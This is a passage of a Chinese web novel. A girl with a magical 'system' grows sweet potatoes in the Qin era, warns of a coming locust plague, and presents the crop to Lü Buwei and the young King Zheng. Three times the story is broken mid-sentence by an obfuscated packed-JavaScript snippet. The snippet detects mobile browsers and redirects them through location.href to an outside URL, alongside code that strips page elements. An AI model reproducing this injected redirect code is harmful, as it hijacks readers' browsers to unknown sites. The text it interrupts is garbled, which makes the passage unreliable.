【系统提示，红薯土豆高产耐旱，但是会造成土地营养失衡，耗费地力哦，请宿主做好肥料供应准备。】 “哦，好的。” 小满将目光放在了田边的红薯秧之上。 拉去兽园，再三强调饲养的牛马羊会喜欢吃这个的之后，试了一下果然可以，就与园长换了几车肥料，拉回地边放置发酵。 处理完肥料又有一个烦恼，冬季天气冷了，红薯不耐寒冻，之前准备的地窖大小不够，实在无法存储。 挖坏的或者长的畸形的也有近万斤，要不想办法卖点出去？ 能获得最大利益的当然是售卖秦王啊。 不过还需要做一下准备。 收获当天，小满所在的六里庄热闹非凡。 夕阳开始落下时，庄里的空地上，燃烧着数个火把，中间两口釜中咕嘟嘟煮着新收获洗净的红薯土豆，还有些在铜板之上烤制着。 这些日子来帮忙的邻里，在从地里离开时都受到了邀请，此时也拿来一些粟米或豆子凑成宴席。 煮透的釜被几个人抬到石块上放凉，烈烈燃烧的火堆上，又放上邻家搬来的新的釜鼎。 小满示范着用筷子从热水中取出熟了的食物，散发到各位盘中或小框中，一些小孩则拿着树叶瓦片来接。 同里的人虽然不至于吃不上饭，这一次也算久违温暖饱足的一顿饭食。 吃的差不多了，小满站到台子上提醒道：“各位，红薯与菽一样，多食易涨，还请适量。” “如果哪家想换些自家去吃，那些破碎的一斗粮食换五斗红薯，那些完整的可以当种子的红薯，一斗粮食换一斗。”小满不知道这个价格算不算公平。 红薯土豆极高的产量就代表了会成为底层人民广泛的食物。 如果推广之后，价格可能远比不上米面粟这类粮食。 不过在这完全未出现过的地方，恰好还受着灾荒的时刻，珍贵性不言而喻。 “明天在那边门口开始兑换，同时还有储存育苗之法，请各位注意了解。” 说完之后，不知谁喊了声“好”，村民们连声应和着，“好。” 上了年纪的老人知道饥荒的威力，早听小辈说起庄里流传的猜测的每亩比粟多几倍的产量便有心动，此时激动的要扣头，被旁边的亲人拉住。 里典更是感动的老泪纵横，“贵人当真心善，活人性命。” 小孩子或是年轻些的，欢呼之后，继续去吃用了。上了年纪的则来到小满跟前，不住的说着感谢的话。 第二日，小满让人把自制的桌子搬到门口，在门口立了一个木牌，用秦国文字写着窖藏事项，“不耐寒冻，需要窖藏。” 然后有人疑问时，在旁边解释道，“如木板上所说，红薯不耐寒冻，可以在屋里屋外挖出坑洞，藏到里面，少量的可以放在屋里盖上稻草。无论是吃的还是做种子，都需好好保存。” “种子保存好，发芽催苗之事，待到天气暖起二月三月再行讲授。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230785|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人或许昨日没听清，又问了一遍兑换比例，得到一比三和一比一的回答后，继续问道：“若是换红薯种子，贵人要做粮食的粟，还是做种子的粟？” 与红薯一样，做种子的粮食是专门挑拣出来的，要饱满完整，有的比较有种地经验的，还要在收割时就使用轻柔的方法脱粒，防止摔打碾粒降低发芽率。 小满点头，“做粮食的便可。” 听到不需要用珍贵的种子去换，其他人都松了口气，有人受到鼓舞，再问了一个问题：“贵人，敢问一句，这红薯能收多少？” 亩产五千斤？或是按秦亩算一亩产一千多斤？这也比普通的粮食种子高出几十倍了。 小满点点手边的筐子，用他们能听懂的话解释，“这大半筐约有四五十斤，全部种下，收获的时候，能收三十到五十筐。” 吕不韦觉得嬴异人“奇货可居”，回去说服他父亲时，曾说过，种田之利，十倍。珠宝之利百倍。 种红薯的收益，恰巧在这两者之间。不论倒卖价格，只论收成的话，更是比粟米多了数倍。 风调雨顺，雨水肥料跟得上的话，更是能抵上这个时代珠宝的获利。 更恐怖的是这是亩产量，推广开来，能让无地少地的贫民利用边角之地，获得活下去的可能。 在场之人一片哗然，虽然不敢相信，但是这些日子帮着刨出来，往家里运的东西都是能看到的。 而且小满此时威信已立，拿出来的水碓，踏碓，龙骨车，农具都是实用工具，让人心存感激，他们不认为这小贵人会为了骗他们一点粮食说谎。 或是里巷今年收成还算不错，对粮食没有急切的需求，过来的人大多拿几分粮食换了一斗残缺红薯尝个鲜，有的不富裕的人家两家共换一斗。 更多的是对产量委实好奇的，拿来多一倍的粮食，换走了可以做种子的完整红薯。 也有家里地亩离水源较远，确实减产严重的，或是真的没有地，佣耕为生的，凑了菽豆来换，残缺的红薯。 顺便还要问问，“贵人，明年还能换红薯种子不？” 小满笑眯眯的，“冬季怕坏，若还留存有多余的完好的便换。” 一村一里消耗能量有限。即使是破损的红薯，换去的也不到十分之一。 小满便将东西装上车子，与煦一起到鬼市去售卖。此时的鬼市与之前好像没有区别，也好像变了许多。 正市每日卖出的粮食只有一点，而这里粮价已经翻了十几倍，依旧是供不应求。一旁的角落里甚至有卖人的。 东西刚刚放下，就有人来问，“你这卖的是什么？” 煦看着周围虎视眈眈的人群，戒备的撤了一下小满的衣袖，小满顿了顿，“山里采的野薯，可以拿粮食来换，一斗粮食换二斗野薯啊，保证毒不死人。” 围观的人窃窃私语，“谁会拿粮食换这东西？” “都没见过有人吃的东西，说不定真的能毒死人呢。” 小满让煦挑出来一个，看他擦干净，接过切了一块，笑着炫进嘴里，然后将剩下的扔给角落里抱着孩子低头跪着的妇人。 妇人抬头，看着一旁摆摊的两人，微微低首，“多谢贵人。”然后将怀里哭着睡着的女儿叫醒，一口一口喂给吃的。 小满看着一些蠢蠢欲动的人，“也可以拿衣服布匹，或是值钱的东西来换。” 有人问，“收半两钱吗？” 这个时候还有余钱，看来是富裕人家啊。小满笑笑，“收，四十钱一斗。”一斗十升，一升约是两斤。二钱一斤的红薯，比现在的主食粮食是便宜多了。 那人果然毫不犹豫买了两斗，其他人也不再犹豫，拿出布匹衣服，或者铁釜陶器，来换东西。 小满依据价值一一换过。直到车里空了。 “没了没了，多谢各位捧场。” 没买到的人都皆散去，小满与煦收拾筐子时，一块布递到跟前。 原本旁边跪坐的妇人站了起来，“贵人，再换一块吧，筐子底下压着的那块就行。” 小满将车斗角落里的红薯摸出来，递过去，“你是哪里来的？一块红薯可救不了命。” “妾是东边阳城来的，年前死了丈夫，听这边受灾不严重，前来逃荒。”夫人低头啜泣，松开了孩子，哭的伤心。 阳城在如今的秦韩边界，与这边隔着群山洛水。 小满握着她的手，不知道怎么安抚，“你在什么地方落脚？” 妇人无声摇摇头。小满叹了一声，“你若没地方去，便先跟我走吧。” 他们的地方人多地方也大，还算安排的开。只是护卫什长看起来不太高兴，“请您以后出门与我说一声，我们好调拨人手护卫着你。” 小满挥挥手，“好好。” 16. 16剧透 往后几日，小满带着煦又加上一个亥，一边在野市中处理红薯，一边走访洛阳内外的流民。 然后发现城里外的流民不算多，加上整体环境稳定，之前出现过的，或为帮佣，或为隶臣妾，很快也找到了去的地方。 了解过情况，售完红薯，小满让煦驾车，来到城内吕府门口。 等不多时，入内见了掌事家臣，递上寄送给穆夫人的书信，表明想去拜望穆夫人。 “你们确认那女童进了吕府？”一个大腹便便的粮商箕坐在厅下，问跟前站着的几个门人打手。 几个粗布男子已经观察了贱卖野薯扰乱粮价的那一行几日，虽然乡野之地两条腿，跑不过马匹，但是洛阳城还是跟不丢的。 “回主人，千真万确。” 粮商沉吟一下，“若真是吕不韦留在洛阳的血脉，还得谨慎一点呢，不可轻易伤害。” 随后吩咐，“让人去吕府探探口风。” 很快，去打探消息的人带回消息，“那人是姬夫人的女儿，这次到吕府是往咸阳去信，想去拜见相邦夫人。” 粮商笑着拊掌，“去咸阳好啊。” 不到半月，之前寄去咸阳的书有了的回信。 小满准备着在盛装红薯的框里塞上稻草红薯藤防止路上磕伤冻伤时，消失已久的郑造再次出现。 小满跑出来看到，确实是许久不见的人，忍不住玩笑道，“舅舅，真是许久不见。你若是再不来，我都怀疑你不想给剩下的东西了。” 郑造也是委屈，一边扶着车辕下车，一边生闷气，“你还说呢，明明都到了鬼市，为何不来望我一眼。” 看着对方小声的抱怨，小满觉得好笑，诚恳道：“是我不对。下次到洛阳一定先去你那里。” “好，我等着。”郑造一边跟着小满往回走，一边说起一件事，“近日我听说这边山中有挖出的野薯，十分甘甜，看着也有几分眼熟，你可知道是哪里出产？” 等到院中，越过小满看到一堆堆的块茎果实，叹了一声，“我就知道，果然是你。” “城中已有传言，这果实产量十分巨大，且不受干旱影响。”郑造看着小满，目光探究。 小满点头，“确有此事。” “那你可知，有人想要这东西，已经派人入山搜寻了。” 好东西都想要嘛，小满并不意外，“我这里还有很多，舅舅想要吗？” 有这种好东西居然不想着囤积居奇，反而低价售出，真不像吕不韦的女儿。 不过她若是意在居奇，也不会将打造铁具的方子给他了吧？ 郑造放下拿了一下便沾了一手灰的红薯，摇摇头，“我要这个也无用。” 据他收集来的消息，这东西吃多了会闹肚子，多有不雅。 还是算了吧。 她愿意慷慨贱卖，许多人可不一定愿意接受，毕竟有不少人囤积了粮食，等着青黄不接之时，好卖上价格呢。 还好月儿的买卖只是小打小闹，虽然有不少人关注着售卖野薯的动静，也没有到动手的地步。 想着这些，郑造提醒小满，“你那些东西都是未曾见过世的，少了卖不出价格，多了又惹人眼，若要卖不如让身边的人去运作。” 小满点点头又跟着摇摇头，她要把东西售卖的更有价值，确实不打算东奔西跑的。 出发之前，小满让煦将可以做种子的红薯拉走了一部分，这是之前已经决定好的。 毕竟这边确实放不下，又不可能把种子当粮食销售出去，只好多挖几个地窖，分批储存。 这边已经有三个了，再挖估计得塌陷，所以煦那边也安排上了。 出发之时，扬身体不适所以被留下看家。 煦因为家人在这，和红薯造纸等需要照看，也没有跟从。 小满带着卯，亥，数个护卫，以及洛阳吕家安排的几个护卫一起出发了。 马车上路程颠簸，小满打开系统开始规划下一个季度的种植。 现在她签到加完成任务的积分共有两千三百多分。 因为收获较晚，种红薯的地块现在还空着，打算开春时种些春小麦。这个麦种生长期短，三四月种下，约到八九月就能收获了。 这些日子算是休耕，兑换个几百斤种子，种完一季春小麦正好调整过来。 计划好后，小满找到相应麦种，正准备购买，突然听到系统一声叮咚。 【系统提示，预测环境发生变化，不建议宿主种植该类植物。】 小满扶着旁边的红薯筐子，调整了一下姿势，“什么变化？系统你预测天气还能预测到几个月后了？” 小满查看系统天气预报面板，种植时天气也是很重要的一环，可惜系统最多只能预计七天，前三天之后，更只是一个模糊的晴，雨，多云。 还好这时候不跟后世一样，干扰因素太多，天气预报经常不准。 就算有突然飘过来的云要下雨，系统提前三五个小时，也能准确预测更改。 【长久干旱，预计夏季有蝗灾风险。请宿主注意避免损失。】说着系统闪了一下电音。 “你怎么知道有蝗灾？”小满对这个词不算熟悉，她生活的时代这类虫子没有灭绝，但也被环境隔离压制着，没有成灾的风险。 【秦王政四年，七月庚寅，蝗虫从东方来，蔽天。天下疫。——史记】 史书上的记载明确清晰，板上钉钉，只是系统受限位面规则，不能直接说出。 这些日子宿主与村民共同劳作聚会，送出食物，加上与人以物换物卖出的红薯，影响力一直在增加。 影响力数值超过了某一限值的时候，系统突然感觉到规则禁锢放松了一点，所以才出来提醒主人。 可惜那道禁锢还是明显存在着，让它不能直言不讳。 此时只能扯一些经验论，科学论，【久旱必蝗是历史上多次验证的规律。蝗虫喜温暖干燥，多生存在夏天。 在干旱的季节，含水量降低，利于蝗虫大量繁殖，四到六周成虫，数月之间就能形成规模。】 【聚集在一起的蝗虫，会吃光能看见的树叶粮食，而且善于飞翔，日行百里，一旦成灾，几个月的时间就会毁掉一年的收成，再加上旱灾影响……】 系统话没说尽。但是现实也很明显，饥荒瘟疫都是随之而来的。 小满搜了一下历史中蝗灾的危害，确实与系统所说一致，蝗灾成型之后，能迁飞千里，所过之处草木皆尽。 小满闭了闭眼睛，“这种广泛性的灾祸，仅靠一人阻止是不可能的。” 她之前所做的仅仅是种植作物，改进工具，尽力改善自己和身边人的生活而已。 拿出红薯土豆是因为她知道高产种子在任何时代都是能让人吃得饱的大杀器。 后面还有麦子水稻，玉米棉花花生……她都想尽快拿到手里。 就算只能做一个种源。 就算产量只改变一时，会慢慢退化。 有了这些基因组，以系统的知识储备，她尽力去推进，还有机会还原出杂交谱系路径。 到时候没有她，许多人至少也能吃得饱。 如果只是干旱困扰，以她拿出的种子，放到受灾不重的地方去分散种植，收成不错。 到时候还有粮食去救济赈灾。 但现在是蝗灾，就算有水源长得好，也会被虫子啃吃一空。 小满继续查看治蝗方法，现代是在蝗虫聚飞的时候，直升机低空撒药。 效果显著，可是没法用。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230786|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >古代甚至现代建国之后，还有许多朴素手段的治蝗方法。 坑埋，火烧，生物防治…… 看着看着小满心情轻松了一点，起码有破解之法。 剩下的就是要说服当权者，去从预防防治开始治蝗了。 小满正考虑着方法，忽然感觉车驾停了下来。“怎么回事？” 抬头一看发现前方山坳，许多看起来像是难民的人堵着路，口中呼喊着，“郎君，给点吃的吧。” 队伍前方吕府派出的队长不为所动的抽出剑来，“尔等让开。” 看着人群麻木站立的样子，队长又重复了一遍，“我等是相邦府上护卫，此地距洛阳不远，尔等还不让开，等着调遣甲兵来拿你们不成？” 人群骚动了一下，又很快恢复沉默。 小满看着队长下令，让这些护卫拔剑，准备冲杀，喊了一声，“张百将，我这还有一些粮食，可以分一些给他们。” 张百将没有答应，头也不回道：“小主人，这群人离家逃亡，已经是违抗了秦法，您若怜惜他们，便是与之同罪。” 说着命令两侧的护卫冲杀过去，孱弱的人群很快被冲散了。 人群四散而逃，有往山里去的，也有往这边跑的。 此时车边正无护卫，小满看着两三个人从车边上路过，伸过手来想抓自己，抽出腰间匕首横在跟前。 锋利的匕首划伤了一个人胳膊，小满矮身蹲下，躲过想抓自己的第二个人。 又看见一只手伸过来，刚想用匕首插上去，就见缩了回去。 被后面赶过来的亥扎了一个透明窟窿。 两个捂着胳膊，对视一眼发令道：“这女娃也不好对付，走。” 后面又赶过来两个瞅着一边漏洞，转而抓起车上摞起的乘着红薯的筐子，夺路而逃。 前队停了片刻打扫战场，张百将巡视过来，“可有少了什么东西？” “被抢了一筐食物。”这样的，她这队车上还剩十九框，想着这样的对比，她本应该庆幸自己物资充裕，有备无患。 可是她忽然不太敢抬头看看车外，因为她听见痛苦的呻吟，她闻见浓重的血腥味。 这血腥气中间可能还有她握着的匕首，划伤造成的。 百将点点头，宣布道：“这一伙不是黔首，而是盗贼。” 然后留下两个人折回洛阳将地上的人头拿去报功，后面再赶上来，其他人继续前进。 而后一路无话，直到晚上扎营，亥才跟小满说从其他士伍那里听来的话。 “这群盗匪，并非单纯的流民，而是有备而来。” 小满隐约觉得是冲自己来的，可是她没印象什么时候招惹过这群人，难道是来抢红薯的？ 就抢了一筐，不至于吧？ 至于那些被护卫斩杀的“盗贼”，已经被她抛在脑后。 那些人被认定违反秦律，也对她造成损失，生命安全受到威胁时，再对别人仁慈就是对自己残忍。 何况已经这样了，就算她觉得没造成实质伤害，罪不至死，也无力回天。 她可以说服自己完成这样的逻辑。 至于背后更深层的逻辑，细思太累。 后面一路顺利，过了函谷关，又走了几天便是咸阳。 看见那座巍峨庄严的城门，小满终于放下车驾四方的布帘，验过符牌，一行人低调进了城。 小满看着与周王城差不了多少，只是更加肃穆的咸阳城，心中还是无限感慨。 数年之后，统一六国的政令将从这里发出。 书同文，车同轨，统一度量衡…… 将郡县制推行全国。一切都为大一统的华夏，奠定基础。 虽然它二世而亡，它的光芒已经无法掩盖。 17. 17吕不韦 即使到了吕不韦府邸，秦相吕不韦日理万机，自然没空来见她。 小满被接应入府之后，与穆夫人相见，两人说了会儿话。 直到天色将晚，穆夫人让人请吕不韦用晚饭，过了一会儿，去请人的家臣回来报说，“夫人，相邦让女公子，去前面见他。” 穆夫人皱了皱眉，“相邦在与什么人说话？” “回夫人，相邦一个人在看案牍。” 穆夫人点点头，拉着小满安抚，“好孩子，你便去吧。” 小满与家臣一起出了室门，走到中庭，看着前方巍峨的建筑群，小满突然有点发慌。 毕竟她将要面对的是一个掌握生杀大权的掌权者，而且这个人好像不太喜欢自己。 她虽然对这个时代的残酷缺乏认知，但是对一些反派设定的心狠手辣，还是富有想象力的。 求助场外援助，“系统在吗？” “系统分析一下吕不韦的性格，以及等会儿的应对方式。” 【在的。】 【根据分析，历史上的吕不韦性格精明，有野心，不乏果断，同时洞察人心，善于操纵利用……】 【根据主人目前晚辈的身份，建议遵守礼节，得体大方即可】 小满长吐一口气，“好的。”虽然感觉说了跟没说一样，好歹心理辅导一下，能缓解心情。 绕过一片，复行数十步，未及前面设置的办公地点，转弯便看到吕不韦在厅堂之下，正等着她。 走到跟前看着置好的垫子，小满迟疑了一下，拱手行了个礼，“拜见父亲。” 吕不韦目光落到小满身上，看了一会儿，“这便是月儿吧？多年不见，长大了些。” 然后挥了挥手，“坐吧。” 坐定之后，开门见山，吕不韦道：“听夫人说，你是来送些特产？不知可还有其他事由？” 小满犹豫了一下，点头，“是，孩儿此来准备了一些特产，特来供给父亲与夫人。” 吕不韦有一点兴趣，“哦？是与发饼，豆腐相似的，还是其他的什么？” “不过是一些小玩意。父亲若是有兴趣，改日做出来了，请父亲品尝。” 她来时正是冬日，虽有车马，但是速度比较慢，一路兼程走了一个多月。 到咸阳已经是腊月下旬。或许是长时间低温，她发现红薯上面的有一部分显示冻坏的痕迹。 还好这个冬天温度不算太低，保暖做的还行，大部分还是健康完好的。 只是即使是没冻坏的，恐怕低温也影响发芽率。 吕不韦点点头，“那好，你既然来了就好好陪着夫人，为父事务繁忙，你先回去吧。” 府里闲玩了几日，小满开始展示她的特产，压榨甘蔗熬制的红糖不多，这个季节正好可以做姜糖水暖身。 利用上系统作弊的便利，也可以做红糖糍粑，红糖馒头。 红薯可以做丸子，做粥，除此之外能做饼，菜，蒸制，烤制等，几乎与土豆一样烹饪方法多样。 此外还有豆腐豆皮豆干，混合枣泥，豆沙，肉丝，干菜等各种甜咸口味的简单面点糕点，烤肉等。 太复杂的她不懂，不做功课容易漏掉步骤，简单的正好够用，翻车了随机应变。 还可以指挥庖厨侍女动手。 半个月后，小满终于做好心理准备，与吕不韦面对面的推销红薯。 “父亲觉得近日尝试的红薯，可能作为黔首的食物否？” 吕不韦点头，又摇头，“红薯此物鲜甜可口，当然可以作为食物，只是山中特产本就稀少，若是放在市坊里售卖，又岂是黔首买得起的？” “若女儿说，那红薯是种植出来的呢？种之一框，精耕细作之后，可以收获二三十框，而且不到百亩之田，可以有数千石的出产。” 这都是之前算过的。 “而且此物耐旱，贫瘠之地也可生长，只是产量差些，那也比粟米之收好上数倍。” 这几日相处，吕不韦发现这女儿虽然心性灵巧，有许多奇思妙想，却不是夸夸其谈的稚儿。 她特殊的是，所看见到事物似乎与其他人不一样，经手过的东西知其然，且知其所以然。 即使失败一次，第二次就能做好。 吕不韦问：“其耕种之法如何？” 专业问题小满自然当仁不让，好歹亲手种出来了几万斤。 小满拿起一旁放置的准备好的红薯，这些在暖房放了几天，已经冒出来红色芽根了。 “天暖之时，覆土浇水于完好的块茎之上，自会发芽，待根芽长至几尺，剪枝埋到土里，慢慢生根长大。” “一开始梗叶在土垄上蔓延，叶可掐食，两月之后，块茎在地下膨大，施以肥水，用不了多久就可成为裹腹粮草。” 小满将演示完的红薯放回盒子里，“只是如此高产，耗费地力，更需要足量的堆肥施肥，或是轮耕休作。” 吕不韦从商之时，也做过粮食买卖，知道所说不假。 见她这么肯定，便是无可置疑的事实了。 她的母亲本为周王室之后，放不下救周执念，有了叛逃的行为。 注定无缘，他不想勉强，也不想因此落下把柄，所以他才将人扔在洛阳不闻不问，以图逃避。 现在，如此天赋如此人才，成为他的血脉，上天是在帮助他吕家，还是要覆灭他吕家？ 吕不韦按住跟前的桌案，“你想要什么？” 没想到这么简单就能说服这个大秦相邦，小满想了一下， “我听说秦国有纳粟赐爵的先例，现在洛阳有种子可耕千亩，女儿愿供出泰半，以实关中田亩，愿得爵位田宅。” 吕不韦笑起来，“我之田宅便是汝之田宅，何必外求？” 你的我的好像不一样呢。 毕竟洛阳那十万户食邑也不可能会白白变成她的。 “去年时，女儿偶然得了这种仿佛可以吃不完的粮食，多赖使女护卫耕种才能发现它的妙用，我要职位田宅也是想，有东西与各位分享，共有富贵。” 吕不韦点点头，“田宅好说，爵位还需事成之后，王上定夺。”如果光芒注定掩藏不住，那就由他将人推到台前。 在咸阳的日子，小满过的分外愉快，居室有炉火火墙，出则有马车人辇，想吃什么自有人去弄，尽物力，衣物也是丝绸绢帛细麻甚至是皮毛，叠换着穿。 又过几日，约至正月中旬，吕不韦让她带上她的红薯，一起进宫。 章台宫，虽不及词赋传说中的阿房宫那样占地广阔，隔离天日，也是巍峨高耸， 高台之上，层峦叠嶂，结构有序，仿佛一头巨兽，人身置于其中，只有建筑壮阔，自身渺小的感觉。 小满等了许久才听见召唤的声音。 这条路踏上之前，只见其巍峨雄阔，要行之半途，或走完全程，才知道是怎样一条路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230787|165936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “系统，你说秦始皇会是什么反应？” 【历史上的秦始皇是一个雄才大略，重视人才的君王，红薯作物高产易活，潜力巨大，且正好解燃眉之急，因此秦王同意的可能性比较大。】 希望如此。 当前虽然不是朝会的时候，殿门内外依旧有无数守卫。 吕不韦跪坐殿内，与秦王嬴政商议完政务，直身长跪，拱手告言，“王上，今天下旱急，关中粮食减产者多，虽有水车，非一时能成。小女在洛阳山野发现一物曰红薯，所产者巨，今呈于王上，献于秦国。” 秦王虽然年少，工作学习了大半天，依旧精力充沛，甚至有心情问道：“相父还有遗珠在洛阳？” “是周女姬氏所生，不服咸阳水土，所以留在洛阳，山野之地才有幸发现了此物。” 秦王点头召见。 等见到一个不足五尺的八岁稚童，捧着木盒走到近前，行礼，“见过王上。” 看着那不伦不类的礼节，秦王让人落座之后，不由笑起来：“前有十二岁甘罗，现有八岁农女，相父莫非善于发现少年神童？” 吕不韦再次面对秦王拱手，“非臣善于发现，而是秦国之幸，有这样尽心的人才。红薯之事臣亦有查证，当真有千斤产量。” 秦王打量着被放到跟前的盒子里的东西，“哦？女弟怎么发现的这个东西？” “嗯，我生活的地方有座山，是偶然在山里发现的。” 在大殿之中，这样严肃的场合，还是杀人不眨眼的秦王面前撒谎，小满禁不住有些紧张。 嗓音抖了一会儿，只好注视着上座的人，减轻紧张感，“那时喜欢往山林里跑，有一次追虫子跑的远了，到了一个从来没去过的地方， 忽然出现一个老伯指着地上的草，跟我说天时不顺将有大灾，那下面的种子，让我带回去种下。” 小满越说越顺，补充漏掉的细节，“那就是红薯，又叫地瓜，十分香甜。可是我拿不动太多，又想吃，便带了一小袋回去。” “没过多久，大家都去地里忙碌的时候，院子里忽然出现了许多红薯，我就找了瓦罐种在里面，后来红薯藤蔓长大，罐子里种不下，便移到了田地里，快到冬天的时候，就结了数之不尽的果实。” “我想起那老伯的预言，觉得这么好的东西，应该是送给秦国，解救遭灾的黔首的，便来将它献给秦王。” 小满寥寥几语，讲完了山林冒险发现宝藏，带回去之后，种植下去，收获了更多的故事。 因为秦皇汉武迷信求长生的印象，还加了玄幻色彩。 不过那也是故事里最大的漏洞，只能用这种子虚乌有的事情糊弄过去。 谁知秦王没有注意神出鬼没的地方，只重复念了最后的理由中的一个词，“黔首。” 吕不韦没听过预言旱灾的细节，但也顾不上追究那么多，施礼进言道：“王上，月儿说这红薯耐贫瘠之地，若担心误了时令，可以让隶臣妾开垦未利用的荒地，将之种下。” 秦王点头，“既是有利于秦国之事，相邦自可倾力而为。只是当此之际，尽力莫扰了耕事，乱了农时。”然后便挥退两人，去其他宫殿继续进行剑术的学习。 小满看着秦王离开的背影，发现这个秦王与自己印象中的始皇帝不太一样，他有着蓬勃的少年气，目的明确，不拘一格。 离了秦宫范围，吕不韦方道：“女有为父风范。” 18. 18预言蝗灾 小满抚摸着手里的盒子，开春时下了一场雪，都说是瑞雪，可惜的是她上次从暖房拿出去，做示范的土豆不幸冻死了。 “父亲，此物不耐寒冻，在洛阳储存是地下挖了窖藏，运输需要覆盖草木，一般三四月育苗，最早得等二月回暖才能运到咸阳。” 吕不韦点点头，“那此前正好命人烧草堆灰开垦荒地，若需要窖藏什么，可与张百将说明，让他点人手替你去做。” 小满继续补充道：“薯结于地下，土地需要深耕五寸，女儿还有堆肥之法。” 耕种从来是因天之时，分地之利。 吕不韦悠悠点头，“既如此你便总领此事，回去我让人将符牌给你，可去调遣人手，另有张百将护卫你的安全。” 小满拱手领诺。 吕不韦见她凡事都有想法，虽然亲力亲为不符合相邦之女的身份，但是做出来的事物确实复杂专精，便任由她去了。 后宅之中进出频繁，不太方便，依照之前的承诺，赠给她一座外面的宅子。 旬日之后，运送红薯的车船队伍出发前往洛阳，育苗的暖室也准备妥当，小满看着一切进展顺利，却不用她多操心，有点回到了游戏庄园的感觉。 小满想起还有洛阳那边的红薯种植要忙，后写了书信寄过去，让留守的护卫与煦一起先安排当地红薯催芽之事。 二月初，小满签到奖励抽到了皮影戏制作方子，与此同时，系统发布任务，制作一个仙人飞天风格的，皮影戏或者手动放映机。 “系统，这是什么意思？” 【回主人，没什么意思哒。】 【这次任务有五百积分哦。】 没什么意思你给这么高积分？不过也确实心动。 这个时候没有塑料没有胶卷，制作放映机有点难为人了，不过皮影戏好像是秦汉时代产物。 从技术层面来说，这个时代可以完成。 小满查阅完资料，一边开始着手制作皮影，虽然仅仅是制作教程，就已经看起看很繁琐。 让人准备的牛皮纸刚刚经过处理阴晒上，洛阳的红薯已经通过水路运送过来了。 事有轻重缓急，解决旱灾蝗灾时的食物更重要，小满便先放下这些，去忙红薯催芽之事。 原本应该在洛阳的护卫什长等人，随着运输队伍一起过来了，小满见着几位既惊且喜，交谈之后才知，是吕相邦让人过来帮她执行事务。 “扬身体如何了？她怎么没来？”小满一连串问起，“洛阳还留有几个人？那几窖红薯运来了多少？” 什长行礼之后，回道：“如主君与相邦信令所言，这一次运来了两窖的红薯。” “洛阳还留有七人，扬已无碍，她坚持留在洛阳，与使女护卫等主君回去。” 估计这一行出发时，没有看见她的信件。 听完小满拱手行了个礼，“种植红薯，大家都是先行之人，有诸位来帮忙，我就放心了。” 暖室之中，小满让人收集石槽陶罐，木箱腐土，安置了近千斤红薯以待催发。 半个月过去，精心照顾之下，红薯根芽已经长出来了一段长度，再过一段时间就可以移栽了。 小满时常在不同的种子屋室跟前穿梭，检查各个护卫与尝试的人种下的种子效果。 查看记录了一圈，有好有坏，差别不算很大，走到角落发现，还有别出心裁的种植着葱韭之类。 之前在相府催发的红薯枝叶已经到了可以移栽的时候，只是此时还是仲春，时有寒冻降温。 小满采了一些嫩芽送至相邦府上。 红薯叶与鸡蛋面粉等或蒸或煮，都可以食用，正好与穆夫人一起分享。 再回到居所附近，却见门前一群人围着门口吵嚷。“这些人是做什么的？” 跟从的护卫去询问事由，小满让马车绕过这边，停到直回居所的侧门。 当听到这群人是抗议她，“燃柴草，取河水，强迫培育不合于时的菜蔬”，浪费物力，不恤民情，要给她砸了之后。 直接喊来护卫把人驱离。 又吵嚷了许久，最后不知道出动了棍棒锁链，还是咸阳吏卒，才慢慢没有了声音。 外面安静了一会儿，小满正准备回去，忽然听到又有喝止交谈的声音，不一会儿变成了山呼之声。 “参见王上。” 小满出门，正好见到穿着常服的秦王，示意各位平身。 秦王看着拎着铲子出现的小满，“孤听有人说，洛阳姜姓女造的温室培育，违逆天时，耗费物力，是乱国之象。” “见过王上。古时野外生长的麦粟虽然顺应天时，但是颗粒鄙薄，不足以供人食用，后来被先人收集，耕而种之，草灰为肥，汲水灌溉，如此逆天而行，勉强才能养活天下。 况且秦国修建的水渠，获得的领土，哪一样又是顺应自然而得到的呢？ 有人这样说只是不满王上与相邦的决定，想要从中作梗罢了。” 秦王满意颔首，“孤今日前来，正是特意来看看，这违逆天时，非其节而生的种子，怎样的景象。” 小满掀起帘子，将顺手关上的温室开了一条缝，让想见识的秦王进去。 见秦王盯着草编的帘子犹豫，有跟从来的寺人上前将帘子高高拉起，小满get到后，索性将门打开大了些。 身高所限，秦王还是略略矮身进入暖室，看着满室绿色，秦王露出一抹莫名的笑意，“言传果然不虚。” “此一室之内如暮春孟夏，不知可能长其他的蔬果？” 小满迟疑点头，“可以。” 秦王来此，仿佛真的是一时兴起，看过之后，便带着人离开了。 回宫之后，身旁的寺人忍不住问道，“王上，据吕不韦之女所说，这红薯有这么大力量，今日见到满室如夏，也确实神奇， 